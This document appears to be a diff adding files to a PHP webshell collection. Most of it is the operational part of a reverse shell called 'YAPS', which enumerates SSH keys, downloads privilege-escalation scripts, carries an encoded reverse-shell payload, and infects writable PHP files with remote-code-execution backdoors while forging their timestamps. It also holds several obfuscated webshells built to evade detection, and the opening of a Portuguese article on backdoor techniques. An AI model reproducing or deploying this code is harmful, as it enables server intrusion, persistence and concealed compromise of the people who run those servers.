+	foreach($authorized_keys as $public_key)
+		if(is_writable($public_key))
+			fwrite($s, red("[Writable] ").$public_key.PHP_EOL);
+		else
+			fwrite($s, $public_key.PHP_EOL);
+	$id_rsa = explode("\n",shell_exec("find / -type f -name id_rsa 2>/dev/null")); // search for id_rsa files
+	foreach($id_rsa as $priv_key)
+		if(is_readable($priv_key))
+			fwrite($s, red("[Readable] ").$priv_key.PHP_EOL);
+		else
+			fwrite($s, $priv_key.PHP_EOL);
+
+	fwrite($s, green("\n=================== Writable PHP files ===================\n\n"));
+	$webfiles_arr = array();
+	$webdir = array('/var/www','/srv','/usr/local/apache2','/var/apache2','/var/www/nginx-default');
+	foreach($webdir as $dir)
+		$webfiles_arr = array_merge($webfiles_arr, explode("\n", shell_exec("find ".$dir." -type f -name '*.php*' -writable 2>/dev/null")));
+
+
+	if(count($webfiles_arr) > 25){
+		for($i=0;$i<25;$i++)
+			if($webfiles_arr[$i] !== "")
+				fwrite($s, red("[Writable] ").$webfiles_arr[$i].PHP_EOL);
+		fwrite($s, "...\n...".PHP_EOL);
+		fwrite($s, green("[+] "). "Showing only the first 25 files. There are more!".PHP_EOL);
+	}else{
+		foreach($webfiles_arr as $file)
+			if($file !== "")
+				fwrite($s, red("[Writable] ").$file.PHP_EOL);
+	}
+	fwrite($s, cyan("\n[i]")." Get more information with !enum.".PHP_EOL);
+}
+
+function random_name($name = ""){
+    $charset = 	implode("",array_merge(range("A", "Z"), range("a","z"), range(0,9))); // merge arrays and join them into a string
+    for($i=0;$i<=mt_rand(5,6);$i++)
+            $name .= $charset[mt_rand(0,strlen($charset)-1)];
+    return $name;
+}
+
+function download($url, $saveTo){ //download file from $url to $saveTo
+	$randomName = random_name();
+	$content = get_request($url);
+
+	if(isAvailable('file_put_contents'))
+		if(file_put_contents($saveTo."/".$randomName,$content)) return $randomName;
+	if(isAvailable('fopen') && isAvailable('fwrite') && isAvailable('fclose')){
+		$fp = fopen($saveTo."/".$randomName, "w");
+		if(fwrite($fp, $content)){
+			fclose($fp);
+			return $randomName;
+		}
+	}
+	return false;
+}
+
+function enum(){ //download linpeas, save to /tmp and change its permission to 777
+	global $s, $resources;
+	$downloadLinpeas = download($resources["linpeas"], "/tmp/");
+	$downloadLinenum = download($resources["linenum"], "/tmp");
+	if($downloadLinpeas){
+		fwrite($s, green("[+]")." Linpeas saved to /tmp/".$downloadLinpeas.cyan("\n[i] Changing permissions...\n"));
+		if(chmod("/tmp/".$downloadLinpeas, 777))
+			fwrite($s, green("[+]")." Permissions changed! \n[i] You can run it with ".yellow("sh /tmp/".$downloadLinpeas." | tee /tmp/linpeas.log\n\n"));
+		else
+			fwrite($s, yellow("[!]")." Couldn't change permissions... \n[i] File was saved in ".yellow("/tmp/".$downloadLinpeas."\n\n"));
+	}
+	if($downloadLinenum){
+		fwrite($s, green("[+] Linenum saved to /tmp/".$downloadLinenum).cyan("\n[i] Changing permissions...\n"));
+		if(chmod("/tmp/".$downloadLinenum, 777))
+			fwrite($s, green("[+]")." Permissions changed! \n[i] You can run it with ".yellow("sh /tmp/".$downloadLinenum." | tee /tmp/linenum.log\n"));
+		else
+			fwrite($s, yellow("[!]")." Couldn't change permissions... \n[i] File was saved in ".yellow("/tmp/".$downloadLinenum."\n"));
+	}
+}
+
+function suggester(){//download linux exploit suggester, save to /tmp and change its permission to 777
+	global $s, $resources;
+	$download = download($resources["suggester"], "/tmp/");
+	if($download){
+		fwrite($s, green("[+]")." Linux Exploit Suggester saved to /tmp/".$download.cyan("\n[i]")." Changing permissions...\n");
+		if(chmod("/tmp/".$download, 777))
+			fwrite($s, green("[+]")." Permissions changed! \n[i] You can run it with ".yellow("sh /tmp/".$download." | tee /tmp/LES.log\n"));
+		else
+			fwrite($s, yellow("[!]")." Couldn't change permissions... \n[i] File was saved in ".yellow("/tmp/".$download."\n"));
+	}
+	return;
+}
+
+function refresh_ps1($changecolor=false){ //build a nice PS1, toggle between colored and not colored
+	global $ps1_color,$ps1;
+	$user = str_replace(PHP_EOL, "", run_cmd("whoami"));
+
+	if(!$ps1_color){
+		$ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",green($user."@".run_cmd("hostname")).":".cyan(run_cmd("pwd"))."$ "); // user@hostname:~$
+		if($user == "root") $ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",red($user."@".run_cmd("hostname")).":".cyan(run_cmd("pwd"))."# "); // root@hostname:~#
+		if($changecolor) $ps1_color = true;
+	}else{
+		$ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",$user."@".run_cmd("hostname").":".run_cmd("pwd")."$ "); // user@hostname:~$
+		if($user == "root") $ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",$user."@".run_cmd("hostname").":".run_cmd("pwd")."# "); // root@hostname:~#
+		if($changecolor) $ps1_color = false;
+	}
+}
+
+function getPHP(){ //receive PHP code via socket
+	global $s;
+	$php = '';
+	fwrite($s, cyan("[*]")." Write your PHP code (*without* PHP tags). To send and run it, use ".green("!php").". ".yellow("\n[i] Note that this is NOT an interactive PHP shell. Max input: 4096 bytes.").white("\nphp> "));
+	while($c = fread($s, 4096)){
+		if(substr($c,0,-1) == "!php") // remove newline at end
+			return $php;
+		if(substr($c,0,-1) == "!cancel") // remove newline at end
+			return 0;
+		fwrite($s, white("php> ")); //prompt
+		$php .= $c; // append received line to the whole php code to be executed
+	}
+	return $php;
+}
+
+function runPHP($code){ // guess what
+	try{
+		ob_start();
+		eval($code); // do the magic
+		$result = ob_get_contents(); //get buffer from eval() to return later
+		ob_end_clean();
+	}catch (Throwable $ex){
+		$err = explode("Stack trace:", $ex);
+		$result = $err[0]; //return the error
+	}
+	return $result;
+}
+
+function stabilize($post_socket=""){ // spawn an interactive shell
+	global $s, $port, $ip;
+
+	$payload = "JHNjcmlwdD1zaGVsbF9leGVjKCJ3aGljaCBzY3JpcHQiKTskcHkzPXNoZWxsX2V4ZWMoIndoaWNoIHB5dGhvbjMiKTskcHk9c2hlbGxfZXhlYygid2hpY2ggcHl0aG9uIik7aWYoc3RybGVuKCRzY3JpcHQpPjYgJiYgc3RycG9zKCRzY3JpcHQsIm5vdCBmb3VuZCIpPT1mYWxzZSkgJHN0YWJpbGl6ZXI9Ii9iaW4vYmFzaCAtY2kgJyIuJHNjcmlwdC4iIC1xYyAvYmluL2Jhc2ggL2Rldi9udWxsJyI7ZWxzZSBpZihzdHJsZW4oJHB5Myk+NyAmJiBzdHJwb3MoJHNjcmlwdCwibm90IGZvdW5kIik9PWZhbHNlKSAkc3RhYmlsaXplcj0kcHkzLiIgLWMgJ2ltcG9ydCBwdHk7cHR5LnNwYXduKFwiL2Jpbi9iYXNoXCIpJyI7ZWxzZSBpZihzdHJsZW4oJHB5KT42ICYmIHN0cnBvcygkc2NyaXB0LCJub3QgZm91bmQiKT09ZmFsc2UpICRzdGFiaWxpemVyPSRweS4iIC1jICdpbXBvcnQgcHR5O3B0eS5zcGF3bihcIi9iaW4vYmFzaFwiKSciO2Vsc2UgJHN0YWJpbGl6ZXI9Ii9iaW4vYmFzaCI7JHN0YWJpbGl6ZXI9c3RyX3JlcGxhY2UoIlxuIiwiIiwkc3RhYmlsaXplcik7JHNoZWxsPSJ1bmFtZSAtYTskc3RhYmlsaXplciI7dW1hc2soMCk7JHNvY2s9ZnNvY2tvcGVuKCJJUF9BRERSIixQT1JULCRlcnJubywkZXJyc3RyLDMwKTskc3RkPWFycmF5KCAwID0+IGFycmF5KCJwaXBlIiwiciIpLDEgPT4gYXJyYXkoInBpcGUiLCJ3IiksMiA9PiBhcnJheSgicGlwZSIsInciKSApOyRwcm9jZXNzPXByb2Nfb3Blbigkc2hlbGwsJHN0ZCwkcGlwZXMpO2ZvcmVhY2goJHBpcGVzIGFzICRwKSBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwLDApO3N0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssMCk7d2hpbGUoIWZlb2YoJHNvY2spKXskcmVhZF9hPWFycmF5KCRzb2NrLCRwaXBlc1sxXSwkcGlwZXNbMl0pO2lmKGluX2FycmF5KCRzb2NrLCRyZWFkX2EpKSBmd3JpdGUoJHBpcGVzWzBdLGZyZWFkKCRzb2NrLDIwNDgpKTtpZihpbl9hcnJheSgkcGlwZXNbMV0sJHJlYWRfYSkpIGZ3cml0ZSgkc29jayxmcmVhZCgkcGlwZXNbMV0sMjA0OCkpO2lmKGluX2FycmF5KCRwaXBlc1syXSwkcmVhZF9hKSkgZndyaXRlKCRzb2NrLGZyZWFkKCRwaXBlc1syXSwyMDQ4KSk7fSBmY2xvc2UoJHNvY2spO2ZvcmVhY2goJHBpcGVzIGFzICRwKSBmY2xvc2UoJHApO3Byb2NfY2xvc2UoJHByb2Nlc3MpOw==";// modified php-reverse-shell (works w/ sudo, mysql, ftp, su, etc.) 
+
+	if(strlen($post_socket) > 1 && strlen($post_socket) > 0){ //if is set
+		echo $post_socket;
+		$skt = explode(":", $post_socket);
+		$post_ip = $skt[0];
+		$post_port = $skt[1];
+		$final_payload = base64_encode(str_replace("IP_ADDR", $post_ip, str_replace("PORT", $post_port, base64_decode($payload)))); // changes payload to add correct socket
+		shell_exec("echo ".$final_payload."| base64 -d | php -r '\$stdin=file(\"php://stdin\");eval(\$stdin[0]);'");
+		return;
+	}
+
+	fwrite($s, yellow("[i]")." Set up a listener on another port (nc -lnvp <port>) and press ENTER.\nChoose a port: ");
+	while($c = fread($s, 8)){ //reads [ENTER]
+		if(strlen($c) > 0){ // got [ENTER]
+			$recv_port = (int)$c; // get the integer part
+			if($recv_port>65535 || $recv_port==0){
+				fwrite($s,red("[-]")." Port must be between 0-65535.\nChoose another port: ");
+			}else{
+				$final_payload = base64_encode(str_replace("IP_ADDR", $ip, str_replace("PORT", $recv_port, base64_decode($payload)))); // changes payload to add correct socket
+				fwrite($s, yellow("[i]")." Trying to connect to $ip:$recv_port\n");
+				
+				if(isAvailable("popen") && isAvailable("pclose")){
+					pclose(popen("echo ".$final_payload."| base64 -d | php -r '\$stdin=file(\"php://stdin\");eval(\$stdin[0]);' &",'r')); // does the magic
+					return;
+				}
+				// in case we don't have popen or pclose
+				$curl_url = $_SERVER["REQUEST_SCHEME"]."://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; // htt(p|ps) :// website.com /files/yaps.php
+				run_cmd("timeout --kill-after 0 1 wget --post-data=\"x=$ip:$recv_port&stabilize=1\" $curl_url > /dev/null"); // thx znttfox =)
+				return;
+			}
+		}
+	}
+}
+
+function backdoor(){
+// todo
+}
+
+function check_password(){ //ask for password and return 0 or 1
+	global $s, $pass_hash, $salt;
+	fwrite($s, yellow("[i] ")."This shell is protected. \nEnter the password: ");
+	while($data = fread($s,1024)){
+		$entered_pass = substr($data,0,-1); //remove newline at end
+		return hash("sha512", $salt.hash("sha512",$entered_pass, false), false) == $pass_hash ? true : false;
+	}
+}
+
+function change_password($new){
+	global $salt, $yaps, $s;
+	$new_hash = hash("sha512", $salt.hash("sha512",$new, false), false);
+	if(!is_readable($yaps) || !is_writable($yaps)) return false; //someone changed the permission
+	$yaps_code = file_get_contents($yaps);
+	$new_yaps_code = preg_replace('/[a-f0-9]{128}/', $new_hash, $yaps_code, 1); // the password hash is be the first thing this regex should match
+	if(file_put_contents($yaps, $new_yaps_code)){
+		fwrite($s, green("[+] ")."Password changed. Changes will take effect on next connection.\n");
+		return true;
+	}else{
+		fwrite($s, red("[-] ")."Couldn't read or write the file. Are the permissions right?\n" . run_cmd("ls -l ".$yaps."\n"));
+		return false;
+	}
+}
+
+function toggle_password(){
+	global $use_password, $s, $yaps;
+	$yaps_code = file_get_contents($yaps);
+	if($use_password){ //password currently active
+		$new_yaps_code = preg_replace('/(\$use_password += +)(true)/', '$1false', $yaps_code, 1);
+		if(file_put_contents($yaps, $new_yaps_code)){
+			$use_password = false;
+			fwrite($s, green("[+] ")."Password deactivated.\n");
+			return true;
+		}
+		fwrite($s, red("[-] ")."Couldn't deactivate password.\n");
+		return false;
+	}
+	// will enter here if $use_password is false
+	$new_yaps_code = preg_replace('/(\$use_password += +)(false)/', '$1true', $yaps_code, 1); //limit must be 1
+	if(file_put_contents($yaps, $new_yaps_code)){
+		$use_password = false; // if limit isn't 1, this will be changed to false too
+		fwrite($s, green("[+] ")."Password activated.\n");
+		return true;
+	}
+	fwrite($s, red("[-] ")."Couldn't activate password.\n");
+	return false;
+}
+
+function passwd(){
+	global $s,$use_password;
+	if($use_password){
+		if(!check_password()){
+			fwrite($s, red("[-] ")." Wrong password\n");
+			return;
+		} 
+		fwrite($s, green("[+] Password is enabled. ").white("Choose an option:")."\n[1] Change password\n[2] Disable password\n[3] Cancel\n> ");
+		while($data = fread($s, 8)){
+			switch(substr($data, 0, -1)){
+				case "1": // change password
+					fwrite($s,cyan("[*] ")."Choose the new password: ");
+					while($data2 = fread($s, 1024)){
+						$newPass = substr($data2, 0, -1); //remove newline at end
+						change_password($newPass);
+						return;
+					}
+				break;
+
+				case "2": // disable password
+					toggle_password();
+					return;
+				break;
+
+				default:
+					fwrite($s, cyan("[*] ")."Canceled.\n");
+					return;
+				break;
+			}
+		}
+	}else{ // no password required
+		fwrite($s, yellow("[!] Password is disabled. ").white("Choose an option:")."\n[1] Set a password\n[2] Enable password\n[3] Cancel\n> ");
+		while($data = fread($s, 8)){
+			switch(substr($data, 0, -1)){
+				case "1": // set a new password
+				fwrite($s,cyan("[*] ")."Choose the new password: ");
+				while($data2 = fread($s, 1024)){
+					$newPass = substr($data2, 0, -1); //remove newline at end
+					change_password($newPass);
+					return;
+				}
+				break;
+
+				case "2": // enable password
+					toggle_password();
+					return;
+				break;
+				
+				default:
+					fwrite($s, cyan("[*] ")."Canceled.\n");
+					return;
+				break;
+			}
+		}
+	}
+}
+
+function duplicate(){
+	global $s,$ip,$port,$_SERVER;
+
+	if(!isset($_SERVER["REQUEST_SCHEME"]) || !isset($_SERVER["HTTP_HOST"]) || !isset($_SERVER["REQUEST_URI"])){
+		fwrite($s, yellow("[-] ")."Couldn't find YAPS URL. Did you run me via command line?\nPlease provide the correct YAPS URL (example.com/files/yaps.php): ");
+		while($yaps_url = fread($s, 256)){
+			if(get_request(preg_replace("/\n/", "",$yaps_url."?vrfy")) !== "baguvix")
+				return fwrite($s, red("[-] ")."Couldn't validade YAPS URL. Is this the correct URL?\n");
+		break;
+		}
+		$curl_url = $yaps_url;
+	}else{
+		$curl_url = $_SERVER["REQUEST_SCHEME"]."://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; // htt(p|ps) :// website.com /files/yaps.php
+		echo $curl_url;
+	}
+
+	fwrite($s, cyan("[*] ")."Choose a port to listen (default: $port): ");
+
+	while($new_port = fread($s, 32)){
+		$new_port = (base64_encode($new_port) == "Cg==") ? $port: substr($new_port,0,-1); //if new_port= newline, new_port = old port
+		$socket = array('x' => $ip.":".$new_port);
+		fwrite($s, "Connecting to ".$ip.":".$new_port."\n");
+		$cmd = "wget -qO- --post-data=\"".http_build_query($socket)."\" $curl_url > /dev/null";
+		if(isAvailable("popen") && isAvailable("pclose"))
+			pclose(popen($cmd." &",'r')); // doesn't wait for wget to return
+		else
+			run_cmd("timeout --kill-after 0 1 ".$cmd); // thx znttfox =)
+		return;
+	}
+}
+
+function get_request($url){ //todo: change download function
+	$response = false;
+	if(isAvailable("file_get_contents")){
+		$response = file_get_contents($url);
+	}elseif(isAvailable("fread") && isAvailable("fopen") && ini_get("allow_url_fopen")){
+		$response = fread(fopen($url, "r"),10);
+	}elseif(in_array("curl",get_loaded_extensions())){
+        $ch = curl_init();
+        curl_setopt($ch, CURLOPT_URL, $url);
+        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+        $response = curl_exec($ch);
+        curl_close($ch);
+    }elseif($tmp_curl = run_cmd("curl -s ".$url)){
+		$response = $tmp_curl;
+	}elseif($tmp_wget = run_cmd("wget -qO- ".$url)){
+		$response = $tmp_wget;
+    }
+	return $response;
+}
+
+function verify_update(){
+	global $version, $resources;
+	$newest_version = 0;
+	echo cyan("[i] ")."Your version: $version. Checking for updates...\n";
+	$request = get_request($resources["verifyUpdateURL"]);
+	if($request) $newest_version = $request;
+
+	$newest_version_ = (int)str_replace(".","",$newest_version); //get only numbers
+	$version_ = (int)str_replace(".","",$version);
+
+	if($newest_version_ !== 0 && $newest_version_ > $version_){
+		echo red("[i]")." Your version is not up to date.\n".green("[DOWNLOAD v".str_replace("\n","",$newest_version)."]: ").$resources["updateURL"]."\n";
+		return;
+	}
+	echo green("[+] ")."YAPS is already up to date (v$version)!\n";
+	return;
+}
+
+function getFiles($dir){ // return writable php files on webserver root
+	$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); //list recursively
+	$list = array();
+	foreach($iterator as $file)
+	    if(!is_dir($file) && is_writable($file)) //list only writable files
+	    	if($file->getPathName() !== $_SERVER["SCRIPT_FILENAME"]) //remove myself from list
+	    		if(substr($file->getPathName(),-4) == ".php") //list only php files
+	    			array_push($list,$file->getPathName());
+	sort($list);
+	return $list;
+}
+
+function select_files(){
+	global $s;
+
+	$webdir = array('/var/www/','/srv/','/usr/local/apache2/','/var/apache2/','/var/www/nginx-default/');
+	$webfiles_arr = array();
+	foreach($webdir as $dir)
+		try{
+			$list = getFiles($dir);
+			$webfiles_arr = array_merge($webfiles_arr,$list);
+		}catch(Exception $e){}
+
+	if(count($webfiles_arr) > 0) fwrite($s, cyan("[*] ").white("Found ".count($webfiles_arr)." writable PHP files:\n"));
+
+	for($i=0;$i<count($webfiles_arr);$i++)
+		fwrite($s, red("[$i] ").$webfiles_arr[$i].PHP_EOL);
+
+	fwrite($s,cyan("\n[*] ").white("Choose the files you want to infect.\n    Separate by comma (e.g:1,5,7,8) and/or by range (e.g:10-16).\n    Files: "));
+
+	while($data2 = fread($s, 1024)){ //receive numbers and parse
+		$files = str_replace(" ", "", substr($data2, 0, -1)); //remove whitespaces and newline at end
+		$files = explode(",",$files); //split 
+		if(count($files) == 1 && $files[0] == "") return; //no file selected
+		$toInfect = array();
+		foreach($files as $file){
+			if(preg_match("/^[0-9]+$/",$file)) // filter numbers
+				array_push($toInfect, $file);
+
+			if(preg_match("/^[0-9]+\-[0-9]+$/",$file)){ // filter ranges
+				$range = explode("-",$file); // ex:4-6   ->  $range[0]=4, $range[1]=6
+				if((int)$range[0] < (int)$range[1]) // 4 must be < than 6
+					for($i=(int)$range[0];(int)$i<=$range[1];$i++) // from i=4 to i=6
+						array_push($toInfect, $i);
+			}
+		}
+		sort($toInfect,SORT_NUMERIC);
+		choose_payload($webfiles_arr,array_unique($toInfect)); //remove duplicates
+		return;
+	}
+}
+
+function choose_payload($allFiles,$toInfect){
+	global $s;
+	$payloads = array(
+		//curl -d "0=whoami" website.com/infected_file.php
+		//curl website.com/infected_file.php?0=whoami
+		"0. TinyRCE	" => '<?=`$_REQUEST[0]`;?>',
+		
+		//same
+		"1. ClassicRCE	" => '<?=@system($_REQUEST[0]);?>',
+		
+		//curl -d "0=phpinfo();" website.com/infected_file.php
+		"2. Eval		" => '<?=@eval($_REQUEST[0]);?>',
+
+		//curl -d "0=cGhwaW5mbygpOw==" website.com/infected_file.php  (encoded phpinfo())
+		"3. BasedEval	" => '<?=@eval(base64_decode($_REQUEST[0]));?>',
+		
+		//curl -d "0=c2.com/file_to_be_executed.txt" website.com/infected_file.php
+		"4. RemotePHP	" => '<?=@eval(file_get_contents($_REQUEST[0]));?>',
+		
+		//curl -d "0=c2.com/file_to_upload&1=extension" website.com/infected_file.php
+		"5. RemoteUpload	" => '<?=$x=rand(100,999);@file_put_contents("./".$x.".".$_REQUEST[1],@file_get_contents($_REQUEST[0]));echo $x.$_REQUEST[1];?>',
+		
+		//curl -F "0=@file_to_upload.php" website.com/infected_file.php
+		"6. LocalUpload	" => '<?php if(isset($_FILES["0"]))if(move_uploaded_file($_FILES["0"]["tmp_name"],"_".$_FILES["0"]["name"]))echo"Uploaded: _".$_FILES["0"]["name"];?>',
+
+		//curl "0=your_ip&1=port" website.com/infected_file.php
+		"7. StableShell	" => '<?php $a="script -qc /bin/bash /dev/null";umask(0);$b=fsockopen($_REQUEST[0],$_REQUEST[1],$c,$d,30);$e=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$f=proc_open($a,$e,$g);foreach($g as $p)stream_set_blocking($p,0);stream_set_blocking($b,0);while(!feof($b)){$i=array($b,$g[1],$g[2]);if(in_array($b,$i))fwrite($g[0],fread($b,2048));if(in_array($g[1],$i))fwrite($b,fread($g[1],2048));if(in_array($g[2],$i))fwrite($b,fread($g[2],2048));}fclose($b);foreach($g as $p)fclose($p);proc_close($f);?>'
+	);
+
+	fwrite($s, cyan("\n[i] ").white("List of payloads available:\n"));
+	$i=true;
+	foreach($payloads as $name => $code){
+		$desc = $i ? cyan($name).$code : cyan($name).white($code);
+		fwrite($s, $desc."\n");
+		$i = !$i; //toggle payload color
+	}
+
+	fwrite($s, cyan("\n[?] ").white("Choose a payload to infect the selected files (default:0): "));
+	while($choosed_payload = fread($s, 128)){
+		$user_payload = 0;
+		if((int)$choosed_payload <= count($payloads)+1)
+			$user_payload = $choosed_payload;
+		break;
+	}
+	fwrite($s, cyan("[?] ").white("Do you want do insert the payload at the beginning [0] or end [1] of the file (default: 1)? "));
+	while($position = fread($s, 128)){
+		$position = 1;
+		if((int)$position === 0) $position = 0;
+		break;
+	}
+	infect($allFiles,$toInfect,(int)$user_payload,$payloads,(int)$position);
+	return;
+}
+
+//list of all writable php files, files to be infected, index of choosen payload, list of payload, position (beginning or end of file)
+function infect($allFiles,$fileArr,$payload_index,$payload_list,$position=1){
+	// 1 = end; 0 = beginning
+	global $s;
+	$payload = $payload_list[array_keys($payload_list)[$payload_index]]; //the payload itself
+	fwrite($s, yellow("\n[!] ").white("Files to infect:\n"));
+	foreach($fileArr as $fileToInfect)
+		fwrite($s,$allFiles[$fileToInfect]."\n");
+
+	fwrite($s, yellow("[!] ").white("Payload: ").$payload_list[array_keys($payload_list)[$payload_index]]."\n");
+	$position_str = $position ? "End of file" : "Beginnig of file";
+	fwrite($s, yellow("[!] ").white("Position: ").$position_str."\n");
+	fwrite($s, cyan("[?] ").white("Are you sure you want to infect those files? [Y/n]"));
+	while($sure = fread($s, 128)){
+		if(strtolower(substr($sure,0,1)) == "n") return; //not sure, return
+		break;
+	}
+
+	foreach($fileArr as $fileToInfect){
+		$filePath = $allFiles[$fileToInfect]; //fileToInfect is an integer that is the index of the array $allFiles
+		if(isAvailable("file_get_contents") && isAvailable("file_put_contents")){
+			$old = file_get_contents($filePath);
+			$originalDate = str_replace("\n","",run_cmd("stat ".$filePath.' | grep Modify | sed "s/Modify: //"')); //modify date
+			if($position) //end of file
+				$written = file_put_contents($filePath, "\n".$payload, FILE_APPEND) ? 1 : 0;
+			else //beginning of file
+				$written = file_put_contents($filePath, $payload."\n".$old) ? 1 : 0;
+			$result = $written ? green("[+] ").white($filePath." was infected with payload !") : red("[-] ").white($filePath." Error!");
+			fwrite($s,$result."\n");
+			if(run_cmd("touch -d ".'"'.$originalDate.'" '.$filePath)) 
+				fwrite($s,green("[+] ").white("Mantained original 'modified date' (".$originalDate.").\n"));
+		}
+	}
+	return;
+}
+
+function parse_stdin($input){
+	global $s, $color;
+	switch(substr($input,0,-1)){ // remove newline at end
+		case "!all-colors":
+			$color = !$color;
+			break;
+		case "!info":
+			return sysinfo();
+			break;
+		case "!enum":
+			return enum();
+			break;
+		case "!suggester":
+			return suggester();
+			break;
+		case "!color":
+			refresh_ps1(true);
+			break;
+		case "!help":
+			return help();
+			break;
+		case "!php":
+			$phpCode = getPHP();
+			if($phpCode !== 0){
+				$result = runPHP($phpCode);
+				fwrite($s, $result);
+			}else{
+				fwrite($s, yellow("[i] Code canceled.").PHP_EOL);
+			}
+			break;
+		case "!stabilize":
+			stabilize();
+			break;
+		case "!backdoor":
+			backdoor();
+			break;
+		case "!passwd":
+			passwd();
+			break;
+		case "!duplicate":
+			duplicate();
+			break;
+		case "!infect":
+			select_files();
+			break;
+	}	
+}
+
+function cmd_not_found($cmd){
+	global $s, $commands;
+	foreach($commands as $valid_cmd){
+		similar_text($cmd, $valid_cmd, $percentage);
+		if($percentage > 70){ // if they're similar, suggest correction
+			fwrite($s, yellow("[!] ")."Command '!$cmd' not found. Did you mean '!".$valid_cmd."'?.\n");
+			return;
+		}
+	}
+	fwrite($s, yellow("[!] ")."Command '!".substr($c,1,-1)."' not found. Use !help.\n");
+	return;
+}
+
+
+function connect(){
+	global $use_password,$commands,$ps1,$s,$silent;
+	refresh_ps1(1);
+	if(!isAvailable('fsockopen')) die(red("[-]")." Function 'fsockopen' isn't available.");
+	if($use_password)
+		if(!check_password()) die(fwrite($s,red("[-]")." Wrong password.\n")); // guess what
+	if(!isset($_REQUEST['silent']) && !isset($_REQUEST["s"]) && !$silent) //if not in silent mode
+		fwrite($s, banner()."\n"); //send banner through socket
+	refresh_ps1();
+	fwrite($s, "\n".$ps1);
+	while($c = fread($s, 2048)){
+		$out = '';
+		if(substr($c,0,1) == "!"){//if starts with "!"
+			if(in_array(strtolower(substr($c,1,-1)), $commands)) // if the command is valid
+				$out = parse_stdin($c);
+			else
+				cmd_not_found(substr($c,1,-1)); // try to suggest correction
+		}elseif(substr($c, 0, 3) == 'cd '){
+			chdir(substr($c, 3, -1)); // since this isn't interactive, use chdir 
+		}elseif(substr($c,0,-1) == "exit"){
+			fwrite($s, yellow("[i] ")."Closing connection.\n");
+			fclose($s);
+			die();
+		}else{
+			$out = run_cmd(substr($c, 0, -1));
+		}
+		if($out === false){
+			fwrite($s, red('[-] There are no exec functions'));
+			break;
+		}
+		refresh_ps1();
+		fwrite($s, $out.$ps1);
+	}
+	fclose($s);
+}
+
+########################## END FUNCTIONS ##########################
+
+if($auto_verify_update) verify_update();
+
+if(isset($_REQUEST['stabilize']) && $_REQUEST['stabilize']){ //stabilized shell was requested
+	$x = $_POST['x'];
+	stabilize($x);
+}else{ // use normal (not interactive) connection
+	$s = @fsockopen("tcp://$ip", $port);
+	if(!$s) die(red("[-] ")."Couldn't connect to socket $ip:$port.");
+	connect();
+}

php/YXNzZXJ0YWE.php

@@ -0,0 +1,25 @@
+<?php
+
+/**
+* YXNzZXJ0YWE=
+*/
+class Example
+{
+    public function fn()
+    {
+    }
+}
+
+$reflector = new ReflectionClass('Example');
+
+$zhushi = substr(($reflector->getDocComment()), 7, 12);
+$zhushi = base64_decode($zhushi);
+$zhushi = substr($zhushi, 0, 6);
+//
+foreach (array('_POST','_GET') as $_request) {
+    foreach ($$_request as $_key=>$_value) {
+        $$_key=  $_value;
+        print_r($$_request);
+    }
+}
+$zhushi($_value);

php/ass.php

@@ -0,0 +1,9 @@
+<?php
+/**
+ * Noticed: (PHP 5 >= 5.3.0, PHP 7)
+ *
+ */
+$password = "LandGrey";
+$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
+forward_static_call_array($wx."ert", array($_REQUEST[$password]));
+?>

php/bypass-with-base32.php

@@ -0,0 +1,69 @@
+<?php
+class ZQIH{
+        public $a = null;
+        public $b = null;
+        public $c = null;
+
+        function __construct(){
+            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
+
+        $this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
+
+
+
+        $this->LGZOJH = @base32_decode($this->a);
+        @eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
+        }}}
+new ZQIH();
+
+function base32_encode($input) {
+    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
+    $output = '';
+    $v = 0;
+    $vbits = 0;
+
+    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
+        $v <<= 8;
+        $v += ord($input[$i]);
+        $vbits += 8;
+
+        while ($vbits >= 5) {
+            $vbits -= 5;
+            $output .= $BASE32_ALPHABET[$v >> $vbits];
+            $v &= ((1 << $vbits) - 1);
+        }
+    }
+
+    if ($vbits > 0) {
+        $v <<= (5 - $vbits);
+        $output .= $BASE32_ALPHABET[$v];
+    }
+
+    return $output;
+}
+
+function base32_decode($input) {
+    $output = '';
+    $v = 0;
+    $vbits = 0;
+
+    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
+        $v <<= 5;
+        if ($input[$i] >= 'a' && $input[$i] <= 'z') {
+            $v += (ord($input[$i]) - 97);
+        } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
+            $v += (24 + $input[$i]);
+        } else {
+            exit(1);
+        }
+
+        $vbits += 5;
+        while ($vbits >= 8) {
+            $vbits -= 8;
+            $output .= chr($v >> $vbits);
+            $v &= ((1 << $vbits) - 1);
+        }
+    }
+    return $output;
+}
+?>

php/bypass2021-01-04-01.php

@@ -0,0 +1,11 @@
+<?php
+
+function x()
+{
+
+    return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
+
+}
+
+eval(x());
+?>

php/cotent01.md

@@ -0,0 +1,377 @@
+Esse pequeno post é focado em uma das diferentes técnicas que venho estudando no PHP, mas direcionando no quesito de variação de código para backdoor web.
+
+O cenário de uso dos exemplos abaixo é um pensamento fora da caixa, dando exit() no básico usado em muitos códigos backdoor.
+
+Foquei nas variáveis globais GET ,POST ,REQUEST.
+
+#### As functions mais usadas:
+
+```
+(PHP 4, PHP 5, PHP 7)
+shell_exec — Executa um comando via shell e retorna a saída inteira como uma string
+string shell_exec ( string $cmd )
+EXEC-> php -r 'shell_exec("ls -la");'
+
+(PHP 4, PHP 5, PHP 7)
+system — Executa um programa externo e mostra a saída
+string system ( string $command [, int &$return_var ] )
+EXEC-> php -r 'system("ls -la");'
+
+(PHP 4, PHP 5, PHP 7)
+exec — Executa um programa externo
